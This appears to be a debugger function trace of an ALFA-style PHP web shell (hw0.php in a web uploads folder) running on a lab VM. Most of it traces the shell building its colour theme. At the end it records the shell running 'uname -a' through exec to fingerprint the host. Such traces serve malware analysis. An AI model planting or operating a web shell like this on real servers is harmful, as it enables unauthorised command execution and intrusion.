5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5	205	1	0.023312	2801120
5	205	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	206	0	0.023348	2801120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	206	1	0.023370	2801256
5	206	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_file_info_values'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.filestools'
5	207	0	0.023464	2801120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_file_info_values'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5	207	1	0.023509	2801120
5	207	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#67ABDF'
5	208	0	0.023546	2801120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	208	1	0.023568	2801256
5	208	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.filestools{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_history_header'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.hheader-text,.history-clear'
5	209	0	0.023656	2801120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_history_header'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5	209	1	0.023701	2801120
5	209	R			'#14ff07'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#14ff07'
5	210	0	0.023738	2801120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#14ff07'	'color: {color};'
5	210	1	0.023761	2801256
5	210	R			'color: #14ff07;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #14ff07;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_history_list'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.editor-file-name'
5	211	0	0.023850	2801120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_history_list'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5	211	1	0.023893	2801120
5	211	R			'#03b3a3'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#03b3a3'
5	212	0	0.023968	2801120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#03b3a3'	'color: {color};'
5	212	1	0.023986	2801256
5	212	R			'color: #03b3a3;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #03b3a3;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.editor-file-name{color: #03b3a3;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_history_selected_file'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.is_active'
5	213	0	0.024046	2801120	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_history_selected_file'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5	213	1	0.024079	2801120
5	213	R			'rgba(49, 55, 93, 0.77)'
4		A						/var/www/html/uploads/hw0.php	635	$color = 'rgba(49, 55, 93, 0.77)'
5	214	0	0.024105	2801120	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
5	214	1	0.024122	2801296
5	214	R			'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'editor_history_file:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.file-holder > .history:hover'
5	215	0	0.024187	2801672	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'editor_history_file:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5	215	1	0.024219	2801672
5	215	R			'#646464'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#646464'
5	216	0	0.024244	2801672	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	216	1	0.024260	2801824
5	216	R			'background-color: #646464;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.file-holder > .history:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'input_box_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'input[type=text],textarea'
5	217	0	0.024332	2801648	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'input_box_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5	217	1	0.024364	2801648
5	217	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	218	0	0.024388	2801648	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	218	1	0.024404	2801800
5	218	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'input_box_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'input[type=text],textarea'
5	219	0	0.024465	2801648	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'input_box_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5	219	1	0.024497	2801648
5	219	R			'#999999'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#999999'
5	220	0	0.024520	2801648	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#999999'	'color: {color};'
5	220	1	0.024535	2801784
5	220	R			'color: #999999;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #999999;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'input[type=text],textarea{color: #999999;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'input_box:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'input[type=text]:hover,textarea:hover'
5	221	0	0.024596	2801632	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'input_box:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	221	1	0.024629	2801632
5	221	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	222	0	0.024653	2801632	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	222	1	0.024669	2801808
5	222	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'select_box_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'select'
5	223	0	0.024735	2801672	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'select_box_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5	223	1	0.024765	2801672
5	223	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	224	0	0.024789	2801672	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	224	1	0.024805	2801824
5	224	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'select{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'select_box_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'select'
5	225	0	0.024863	2801648	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'select_box_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5	225	1	0.024896	2801648
5	225	R			'#FFFFEE'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFEE'
5	226	0	0.024921	2801648	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFEE'	'color: {color};'
5	226	1	0.024935	2801784
5	226	R			'color: #FFFFEE;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFEE;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'select{color: #FFFFEE;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'select_box:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'select:hover'
5	227	0	0.024993	2801632	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'select_box:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	227	1	0.025025	2801632
5	227	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	228	0	0.025050	2801632	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	228	1	0.025066	2801808
5	228	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'button_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'input[type=submit],.button,#addup'
5	229	0	0.025132	2801672	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'button_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5	229	1	0.025163	2801672
5	229	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	230	0	0.025188	2801672	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'border: 1px solid {color};'
5	230	1	0.025203	2801824
5	230	R			'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'button:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = 'input[type=submit]:hover'
5	231	0	0.025279	2801648	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'button:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	231	1	0.025314	2801648
5	231	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	232	0	0.025338	2801648	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
5	232	1	0.025355	2801824
5	232	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.button:hover,#addup:hover'
5	233	0	0.025449	2802184	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'button:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	233	1	0.025483	2802184
5	233	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	234	0	0.025507	2802184	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	234	1	0.025524	2802360
5	234	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'outputs_text'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.ml1'
5	235	0	0.025595	2802184	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'outputs_text'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5	235	1	0.025625	2802184
5	235	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#67ABDF'
5	236	0	0.025649	2802184	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	236	1	0.025665	2802320
5	236	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.ml1{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'outputs_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.ml1'
5	237	0	0.025722	2802144	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'outputs_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5	237	1	0.025753	2802144
5	237	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	238	0	0.025777	2802144	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
5	238	1	0.025793	2802296
5	238	R			'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.ml1{border: 1px solid #0E304A;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.inputfile'
5	239	0	0.025853	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	239	1	0.025886	2802160
5	239	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	240	0	0.025910	2802160	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	240	1	0.025927	2802336
5	240	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader_background'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.inputfile strong'
5	241	0	0.025991	2802184	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader_background'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5	241	1	0.026023	2802184
5	241	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	242	0	0.026047	2802184	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'background-color: {color};'
5	242	1	0.026063	2802336
5	242	R			'background-color: #0E304A;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #0E304A;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.inputfile strong{background-color: #0E304A;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader_text_right'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.inputfile strong'
5	243	0	0.026124	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader_text_right'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5	243	1	0.026153	2802160
5	243	R			'#FFFFFF'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#FFFFFF'
5	244	0	0.026180	2802160	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	244	1	0.026196	2802296
5	244	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.inputfile strong{color: #FFFFFF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader_text_left'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.inputfile span'
5	245	0	0.026254	2802144	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader_text_left'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5	245	1	0.026284	2802144
5	245	R			'#25ff00'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#25ff00'
5	246	0	0.026307	2802144	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#25ff00'	'color: {color};'
5	246	1	0.026323	2802280
5	246	R			'color: #25ff00;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'color: #25ff00;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.inputfile span{color: #25ff00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader:hover'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.inputfile:hover'
5	247	0	0.026381	2802144	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader:hover'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	247	1	0.026412	2802144
5	247	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#27979B'
5	248	0	0.026436	2802144	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	248	1	0.026453	2802320
5	248	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'uploader_progress_bar'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.up_bar'
5	249	0	0.026517	2802184	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'uploader_progress_bar'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5	249	1	0.026547	2802184
5	249	R			'#00ff00'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#00ff00'
5	250	0	0.026570	2802184	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#00ff00'	'background-color: {color};'
5	250	1	0.026587	2802336
5	250	R			'background-color: #00ff00;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #00ff00;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.up_bar{background-color: #00ff00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'mysql_tables'
5	251	0	0.026635	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'mysql_tables'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	251	1	0.026659	2802160
5	251	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.mysql_tables{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'mysql_table_count'
5	252	0	0.026705	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'mysql_table_count'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
5	252	1	0.026729	2802160
5	252	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.mysql_table_count{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'copyright'
5	253	0	0.026775	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'copyright'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#dfff00'
5	253	1	0.026803	2802160
5	253	R			'#dfff00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#dfff00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.copyright{color: #dfff00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'scrollbar'
4		A						/var/www/html/uploads/hw0.php	634	$k = '*::-webkit-scrollbar-thumb'
5	254	0	0.026859	2802160	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'scrollbar'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5	254	1	0.026889	2802160
5	254	R			'#1e82b5'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#1e82b5'
5	255	0	0.026913	2802160	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#1e82b5'	'background-color: {color};'
5	255	1	0.026929	2802312
5	255	R			'background-color: #1e82b5;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #1e82b5;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'scrollbar_background'
4		A						/var/www/html/uploads/hw0.php	634	$k = '*::-webkit-scrollbar-track'
5	256	0	0.026992	2803184	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'scrollbar_background'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5	256	1	0.027024	2803184
5	256	R			'#000115'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#000115'
5	257	0	0.027047	2803184	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#000115'	'background-color: {color};'
5	257	1	0.027063	2803336
5	257	R			'background-color: #000115;'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #000115;'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4	126	1	0.027102	2803128
4	126	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4	258	0	0.027352	2786744	htmlspecialchars	0		/var/www/html/uploads/hw0.php	1073	1	'/var/www/html/uploads/'
4	258	1	0.027371	2786936
4	258	R			'/var/www/html/uploads/'
4	259	0	0.027387	2786856	htmlspecialchars	0		/var/www/html/uploads/hw0.php	1074	1	'FilesMan2'
4	259	1	0.027401	2787048
4	259	R			'FilesMan2'
4	260	0	0.027416	2786904	htmlspecialchars	0		/var/www/html/uploads/hw0.php	1075	1	'Windows-1251'
4	260	1	0.027430	2787096
4	260	R			'Windows-1251'
4	261	0	0.028207	2799032	__showicon	1		/var/www/html/uploads/hw0.php	1086	1	'loader'
4		A						/var/www/html/uploads/hw0.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/hw0.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/hw0.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	261	1	0.028268	2799032
4	261	R			'http://solevisible.com/images/loader.svg'
4	262	0	0.028286	2799032	alfaEx	1		/var/www/html/uploads/hw0.php	1087	4	'uname -a'	FALSE	FALSE	???
5	263	0	0.028302	2799032	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'uname -a'	FALSE
5		A						/var/www/html/uploads/hw0.php	758	$out = ''
6	264	0	0.028327	2799032	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
6	264	1	0.028341	2799072
6	264	R			TRUE
6	265	0	0.028355	2799056	exec	0		/var/www/html/uploads/hw0.php	762	2	'uname -a'	''
6	265	1	0.029650	2799816
6	265	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	266	0	0.029687	2799592	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6	266	1	0.029709	2799656
6	266	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/hw0.php	763	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	263	1	0.029754	2799192
5	263	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/hw0.php	744	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	262	1	0.029790	2799192
4	262	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3		A						/var/www/html/uploads/hw0.php	1087	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	267	0	0.029826	2799192	function_exists	0		/var/www/html/uploads/hw0.php	1088	1	'php_uname'
4	267	1	0.029840	2799232
4	267	R			TRUE
4	268	0	0.029854	2799192	php_uname	0		/var/www/html/uploads/hw0.php	1088	0
4	268	1	0.029867	2799304
4	268	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	269	0	0.029886	2799304	substr	0		/var/www/html/uploads/hw0.php	1088	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
4	269	1	0.029904	2799400
4	269	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/hw0.php	1088	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
